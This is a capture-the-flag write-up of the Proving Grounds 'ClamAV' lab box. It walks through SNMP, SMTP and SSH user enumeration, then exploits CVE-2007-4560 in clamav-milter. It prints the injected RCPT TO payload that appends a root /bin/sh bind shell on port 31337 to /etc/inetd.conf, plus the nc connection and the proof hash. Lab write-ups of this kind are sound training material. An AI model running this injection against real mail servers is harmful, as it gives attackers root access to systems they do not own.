the_open_door
coffee
ESEN

ClamAV

Proving Grounds PracticeEasyLinux192.168.175.42

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#snmp#snmp-enumeration#clamav-milter#sendmail#cve-2007-4560#command-injection#smtp-user-enum#ssh-user-enum#cve-2018-15473#bind-shell#rce
TL;DR. ClamAV is an old Linux box from Proving Grounds. The sweep exposes a Sendmail 8.13.4 (port 25) and an open SNMP (161/udp). Querying SNMP with the default community public (SNMP enumeration) reveals the key process: clamav-milter running in --black-hole-mode, integrated with Sendmail. That combination is vulnerable to CVE-2007-4560: a RCPT TO of the form nobody+"|command" makes the milter, which runs as root, execute the command. We inject a line into /etc/inetd.conf that opens a bind shell on 31337 and restart inetd. Connecting to that port gives a direct shell as root.

Recon

Initial scan

ping -c 1 192.168.175.42
64 bytes from 192.168.175.42: icmp_seq=1 ttl=61 time=29.6 ms

TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan. The UDP sweep of the most common ports returns two interesting services:

nmap -sU --min-rate 5000 -Pn -n --open --top-ports 1000 192.168.175.42
PORT      STATE  SERVICE
137/udp   open   netbios-ns
161/udp   open   snmp

An SNMP (161/udp) is usually an information gold mine if it answers the default community. Before touching it, we finish the TCP:

nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.175.42
PORT      STATE SERVICE
22/tcp    open  ssh
25/tcp    open  smtp
80/tcp    open  http
139/tcp   open  netbios-ssn
199/tcp   open  smux
445/tcp   open  netbios-ssn
60000/tcp open  ssh
nmap -p22,25,80,139,199,445,60000 -sCV 192.168.175.42
PORT      STATE  SERVICE      VERSION
22/tcp    open   ssh          OpenSSH 3.8.1p1 Debian 8.sarge.6 (protocol 2.0)
25/tcp    open   smtp         Sendmail 8.13.4/8.13.4/Debian-3sarge3
80/tcp    open   http         Apache httpd 1.3.33 ((Debian GNU/Linux))
|_http-title: Ph33r
139/tcp   open   netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
199/tcp   open   smux         Linux SNMP multiplexer
445/tcp   open   netbios-ssn  Samba smbd 3.0.14a-Debian (workgroup: WORKGROUP)
60000/tcp open   ssh          OpenSSH 3.8.1p1 Debian 8.sarge.6 (protocol 2.0)

The whole stack is from the Debian Sarge era (2005): OpenSSH 3.8, Sendmail 8.13.4, Apache 1.3.33. Software this old usually has a public exploit per service. The Sendmail on 25 and the SNMP on 161 are the two threads with the most mileage.

SNMP - UDP 161

snmp-check with the default community public dumps the configuration and, above all, the running processes. There is the piece that makes sense of the box:

snmp-check 192.168.175.42
[+] Try to connect to 192.168.175.42:161 using SNMPv1 and community 'public'

  Host IP address   : 192.168.175.42
  Hostname          : 0xbabe.local
  Description       : Linux 0xbabe.local 2.6.8-4-386 ... i686

[*] TCP connections and listening ports:
  3776   runnable   clamd            /usr/local/sbin/clamd
  3778   runnable   clamav-milter    /usr/local/sbin/clamav-milter --black-hole-mode -l -o -q /var/run/clamav/clamav-milter.ctl
  3791   runnable   nmbd             /usr/sbin/nmbd -D

The decisive detail is clamav-milter --black-hole-mode. A milter (mail filter) is a program that Sendmail invokes for each email; clamav-milter uses it to run messages through the antivirus. The --black-hole-mode mode changes its behaviour: instead of just scanning, the milter takes part in delivery and internally builds a command line with the recipient address. That construction is exactly what CVE-2007-4560 exploits.

SMTP - TCP 25

Before jumping to the exploit, we confirm the Sendmail is alive and lets us enumerate users with VRFY (SMTP user enumeration), which ratifies that the service responds to our raw interaction:

telnet 192.168.175.42 25
220 localhost.localdomain ESMTP Sendmail 8.13.4/8.13.4/Debian-3sarge3; ...
VRFY root
250 2.1.5 <root@localhost.localdomain>
VRFY rot
550 5.1.1 rot... User unknown

VRFY root answers 250 (exists) and VRFY rot answers 550 (does not exist): the server distinguishes valid users. It is not the vector itself, but it confirms that Sendmail processes our commands, which is what the milter exploit needs.

SSH - TCP 22 (a reasoned dead end)

OpenSSH 3.8.1 predates 7.7, so it is vulnerable to user enumeration via CVE-2018-15473. Adapting the public script to walk a list of names confirms several system accounts:

SSH user enumeration with the CVE-2018-15473 script

[+] User: mail exists
[+] User: root exists
[+] User: news exists
[+] User: backup exists
[+] User: daemon exists
...

It is useful to inventory accounts, but without passwords or keys it opens nothing on its own (a spray against this SSH makes no progress). We leave it as a user confirmation and return to the milter thread, which does lead to code execution.

Exploitation

CVE-2007-4560: command injection via the milter

searchsploit links clamav-milter to Sendmail directly:

searchsploit clamav
searchsploit -m multiple/remote/4761.pl
Sendmail with clamav-milter < 0.91.2 - Remote Command Execution   | multiple/remote/4761.pl
Codes: CVE-2007-4560

The 4761.pl exploit opens an SMTP conversation and places the command inside the recipient with the form nobody+"|command". In --black-hole-mode, the milter (running as root) interpolates that string into a shell line and runs it. The payload the exploit uses appends a line to /etc/inetd.conf that brings up a shell as root on port 31337, then restarts inetd:

perl 4761.pl 192.168.175.42
nmap -p31337 192.168.175.42

running the 4761.pl exploit: the RCPT TO injects the command and is accepted

In the SMTP trace you can see the two injections accepted with 250 ... Recipient ok and, after execution, the scan confirms the new port:

250 2.1.5 <nobody+"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf"> ... Recipient ok
250 2.1.5 <nobody+"|/etc/init.d/inetd restart"> ... Recipient ok

PORT      STATE SERVICE
31337/tcp open  Elite

inetd starts the service defined in that line: each connection to 31337 launches /bin/sh -i as root. No further exploitation is needed.

Shell as root

Bind shell on 31337

We connect with nc to the port the milter opened and check the identity:

nc 192.168.175.42 31337

bind shell on 31337 as root: id returns uid=0

whoami
root
id
uid=0(root) gid=0(root) groups=0(root)

It is root directly, with no intermediate escalation: the milter already ran as root and the bind shell inherits that context. We read the proof:

reading proof.txt as root

cat /root/proof.txt
6dbace6004833888c9de3256e6bc534c
hostname
0xbabe.local

Attack chain

SNMP 161/udp (community public)
   └── clamav-milter --black-hole-mode process (integrated with Sendmail)
        └── SMTP 25: RCPT TO  nobody+"|command"   ── CVE-2007-4560 (milter runs as root)
             └── echo bind shell >> /etc/inetd.conf ; inetd restart
                  └── nc 31337  ── direct shell as root  (proof.txt)

Lessons learned

  • SNMP with the public community tells almost everything. Not just the system: the process table revealed the clamav-milter --black-hole-mode, which was the vector. Without that hint, the Sendmail looked like just another service.
  • A milter runs with high privileges. clamav-milter ran as root; any injection into what it processes inherits that context. The --black-hole-mode mode turned the recipient field into a command line.
  • Sarge-era software usually has one exploit per service. Seeing Sendmail 8.13, OpenSSH 3.8 and Apache 1.3 together signals that the short path is searchsploit, not fuzzing.
  • Not every thread leads to the goal. User enumeration over SSH and SMTP confirmed accounts, but access came from the milter. Enumerating is fine as long as it is not confused with advancing.
Command cheatsheet 12 commands

Quick review